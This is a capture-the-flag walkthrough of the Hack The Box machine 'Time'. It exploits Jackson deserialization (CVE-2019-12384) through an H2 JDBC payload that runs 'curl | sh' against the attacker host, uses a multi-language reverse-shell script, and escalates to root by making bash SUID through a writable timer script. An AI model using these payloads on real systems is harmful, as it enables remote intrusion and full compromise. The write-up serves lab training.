

# time

```
(root@kali)-[/Documents/htb/boxes/time]
# nmap -sC -sV -oA nmap/time 10.10.10.214
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-15 22:47 EDT
Nmap scan report for 10.10.10.214
Host is up (0.083s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp    open  http      Apache httpd 2.4.41 ((Ubuntu))
|_ _http-server-header: Apache/2.4.41 (Ubuntu)
|_ _http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

## ONLINE JSON BEAUTIFIER & VALIDATOR

Beautify

Output goes here!

PROCESS

Beautify

```
{"test":"test"}
```

```
{  
  "test": "test"  
}
```

Beautify

```
{"test":"test"}
```

Validation failed: Unhandled Java exception:

Validation failed: Unhandled Java exception:  
**com.fasterxml.jackson.databind.exc.MismatchedInputException**  
: Unexpected token (START\_OBJECT), expected START\_ARRAY:  
need JSON Array to contain As.WRAPPER\_ARRAY type  
information for class java.lang.Object

## CVE-2019-12384 Jackson RCE And SSRF

<https://github.com/harry1080/CVE-2019-12384>

inject.sql x

```
1 CREATE ALIAS SHELLEXEC AS $$ String shellxec(String cmd) throws java.io.IOException {  
2     String[] command = {"bash", "-c", cmd};  
3     java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");  
4     return s.hasNext() ? s.next() : ""; }  
5 $$;  
6 CALL SHELLEXEC('curl http://10.10.14.23/x |sh')  
7
```

cat x

```

if command -v python > /dev/null 2>&1; then
    python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.23",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
    exit;
fi

if command -v perl > /dev/null 2>&1; then
    perl -e 'use Socket;$i="10.10.14.23";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))){open(STDIN,">6S");open(STDOUT,">6S");open(STDERR,">6S");exec("/bin/sh -i");};'
    exit;
fi

if command -v nc > /dev/null 2>&1; then
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 1337 >/tmp/f
    exit;
fi

if command -v sh > /dev/null 2>&1; then
    /bin/sh -i >& /dev/tcp/10.10.14.23/1337 0>&1
    exit;
fi

if command -v php > /dev/null 2>&1; then
    php -r '$sock=fsockopen("10.10.14.23",1337);exec("/bin/sh -i <63 >63 2>63");'
    exit;
fi

if command -v ruby > /dev/null 2>&1; then
    ruby -rsocket -e'f=TCPSocket.open("10.10.14.23",1337).to_i;exec sprintf("/bin/sh -i <%d >%d 2>%d",f,f,f)'
    exit;
fi

if command -v lua > /dev/null 2>&1; then
    lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.14.47','1337');os.execute('/bin/sh -i <63 >63 2>63');"
    exit;
fi

```

test.rb x

```

1 require 'java'
2 Dir["./classpath/*.jar"].each do |f|
3   require f
4 end
5 java import 'com.fasterxml.jackson.databind.ObjectMapper'
6 java import 'com.fasterxml.jackson.databind.SerializationFeature'
7
8 content = ARGV[0]
9
10 puts "Mapping"
11 mapper = ObjectMapper.new
12 mapper.enableDefaultTyping()
13 mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
14 puts "Serializing"
15 obj = mapper.readValue(content, java.lang.Object.java class) # invokes all the setters
16 puts "objectified"
17 puts "stringified: " + mapper.writeValueAsString(obj)
18

```

[ "ch.qos.logback.core.db.DriverManagerConnectionSource",  
 { "url": "jdbc:h2:mem::TRACE\_LEVEL\_SYSTEM\_OUT=3;INIT=RUNSC  
 FROM 'http://10.10.14.23/inject.sql'" } ]

Validate (beta!)

```
["ch.qos.logback.core.db.DriverManager  
ConnectionSource",  
{"url":"jdbc:h2:mem::TRACE_LEVEL_SYST  
EM_OUT=3;INIT=RUNSCRIPT FROM  
'http://10.10.14.23/inject.sql'"}]
```

Validation failed: Unhandled Java exception:

## PROCESS

```
(root@kali:~/Documents/htb/boxes/time/mw)  
ls -l  
total 20  
drwxr-xr-x 2 root root 4096 May 15 23:14 .  
drwxr-xr-x 4 root root 4096 May 15 23:14 ..  
-rwxr-xr-x 1 root root 359 May 15 23:14 inject.sql  
-rwxr-xr-x 1 root root 321 May 15 23:42 test.rb  
-rwxr-xr-x 1 root root 1550 May 15 22:59 x  
(root@kali:~/Documents/htb/boxes/time/mw)  
python3 -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...  
10.10.10.214 - - [15/May/2021 23:36:17] "GET /inject.sql HTTP/1.1" 200 -  
10.10.10.214 - - [15/May/2021 23:36:18] "GET /x HTTP/1.1" 200 -
```

nc -lvnp 1337

```
pericles@time:/home/pericles$ id  
uid=1000(pericles) gid=1000(pericles) groups=1000(pericles)  
pericles@time:/home/pericles$
```

```
pericles@time:/home/pericles$ curl 10.10.14.23/LinEnum.sh > LinEnum.sh  
% Total % Received % Xferd Average Speed Time Time Time Current  
Dload Upload Total Spent Left Speed  
100 46631 100 46631 0 0 26079 0 0:00:01 0:00:01 --:--:-- 26065  
pericles@time:/home/pericles$ chmod +x LinEnum.sh  
pericles@time:/home/pericles$ ./LinEnum.sh
```

```
(root@kali)-[~/Downloads/linuxprivesc]  
# ls
```

LinEnum.sh linpeas.sh linux-exploit-suggester.sh linuxprivchecker.py lse.sh upc.sh

```
(root@kali)-[~/Downloads/linuxprivesc]  
# python -m SimpleHTTPServer 80
```

Serving HTTP on 0.0.0.0 port 80 ...

10.10.10.214 - - [15/May/2021 23:45:49] "GET /lse.sh HTTP/1.1" 200 -

10.10.10.214 - - [15/May/2021 23:50:15] "GET /LinEnum.sh HTTP/1.1" 200 -

```

[+] Systemd timers:
NEXT          LEFT          LAST          PASSED          UNIT          ACTIVATES
Sun 2021-05-16 03:54:31 UTC 5s left       Sun 2021-05-16 03:54:21 UTC 4s ago        timer_backup.timer timer_backup.service
Sun 2021-05-16 04:09:00 UTC 14min left    Sun 2021-05-16 03:39:01 UTC 15min ago      phpsessionclean.timer phpsessionclean.service
Sun 2021-05-16 06:47:05 UTC 2h 52min left Sun 2021-05-16 02:58:29 UTC 55min ago      apt-daily-upgrade.timer apt-daily-upgrade.service
Sun 2021-05-16 06:47:06 UTC 2h 52min left Thu 2020-10-22 18:44:20 UTC 6 months 22 days ago apt-daily.timer apt-daily.service
Sun 2021-05-16 08:29:28 UTC 4h 35min left Tue 2021-02-09 14:42:14 UTC 3 months 4 days ago motd-news.timer motd-news.service
Sun 2021-05-16 13:23:49 UTC 9h left       Thu 2020-10-22 20:24:53 UTC 6 months 22 days ago fwupd-refresh.timer fwupd-refresh.service
Mon 2021-05-17 00:00:00 UTC 20h left      Sun 2021-05-16 02:46:18 UTC 1h 8min ago    fstrim.timer fstrim.service
Mon 2021-05-17 00:00:00 UTC 20h left      Sun 2021-05-16 02:46:18 UTC 1h 8min ago    logrotate.timer logrotate.service
Mon 2021-05-17 00:00:00 UTC 20h left      Sun 2021-05-16 02:46:18 UTC 1h 8min ago    man-db.timer man-db.service
Mon 2021-05-17 03:01:10 UTC 23h left      Sun 2021-05-16 03:01:10 UTC 53min ago      systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
Sun 2021-05-23 03:10:22 UTC 6 days left   Sun 2021-05-16 03:10:11 UTC 44min ago      e2scrub_all.timer e2scrub_all.service

```

```

pericles@time:/home/pericles$ curl 10.10.14.23/linpeas.sh > linpeas.sh
% Total    % Received % Xferd Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left   Speed
100 331k 100 331k 0 0 89008 0 0:00:03 0:00:03 --:--:-- 89008
pericles@time:/home/pericles$ chmod +x linpeas.sh
pericles@time:/home/pericles$ ./linpeas.sh

```

```

[+] System timers
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers
NEXT          LEFT          LAST          PASSED          UNIT          ACTIVATES
Sun 2021-05-16 03:59:31 UTC 2s left       Sun 2021-05-16 03:59:21 UTC 7s ago        timer_backup.timer timer_backup.service
Sun 2021-05-16 04:09:00 UTC 9min left     Sun 2021-05-16 03:39:01 UTC 20min ago      phpsessionclean.timer phpsessionclean.service
Sun 2021-05-16 06:47:05 UTC 2h 47min left Sun 2021-05-16 02:58:29 UTC 1h 0min ago    apt-daily-upgrade.timer apt-daily-upgrade.service
Sun 2021-05-16 06:47:06 UTC 2h 47min left Thu 2020-10-22 18:44:20 UTC 6 months 22 days ago apt-daily.timer apt-daily.service
Sun 2021-05-16 08:29:28 UTC 4h 29min left Tue 2021-02-09 14:42:14 UTC 3 months 4 days ago motd-news.timer motd-news.service
Sun 2021-05-16 13:23:49 UTC 9h left       Thu 2020-10-22 20:24:53 UTC 6 months 22 days ago fwupd-refresh.timer fwupd-refresh.service
Mon 2021-05-17 00:00:00 UTC 20h left      Sun 2021-05-16 02:46:18 UTC 1h 13min ago    fstrim.timer fstrim.service
Mon 2021-05-17 00:00:00 UTC 20h left      Sun 2021-05-16 02:46:18 UTC 1h 13min ago    logrotate.timer logrotate.service
Mon 2021-05-17 00:00:00 UTC 20h left      Sun 2021-05-16 02:46:18 UTC 1h 13min ago    man-db.timer man-db.service
Mon 2021-05-17 03:01:10 UTC 23h left      Sun 2021-05-16 03:01:10 UTC 58min ago      systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
Sun 2021-05-23 03:10:22 UTC 6 days left   Sun 2021-05-16 03:10:11 UTC 49min ago      e2scrub_all.timer e2scrub_all.service
n/a          n/a          n/a          n/a          snapd.snap-repair.timer snapd.snap-repair.service

```

You own the script: /usr/bin/timer\_backup.sh

```

pericles@time:/home/pericles$ vi /usr/bin/timer_backup.sh

```

```

#!/bin/bash
chmod u+s /bin/bash
~

```

```

pericles@time:/home/pericles$ ls -alh /bin/bash
-rwsr-xr-x 1 root root 1.2M Feb 25 2020 /bin/bash
pericles@time:/home/pericles$ id
uid=1000(pericles) gid=1000(pericles) groups=1000(pericles)
pericles@time:/home/pericles$ bash -p
bash-5.0# id
uid=1000(pericles) gid=1000(pericles) euid=0(root) groups=1000(pericles)
bash-5.0# cat /root/root.txt
0b2a0d04bb0ab5d2486108dd528c5699
bash-5.0#

```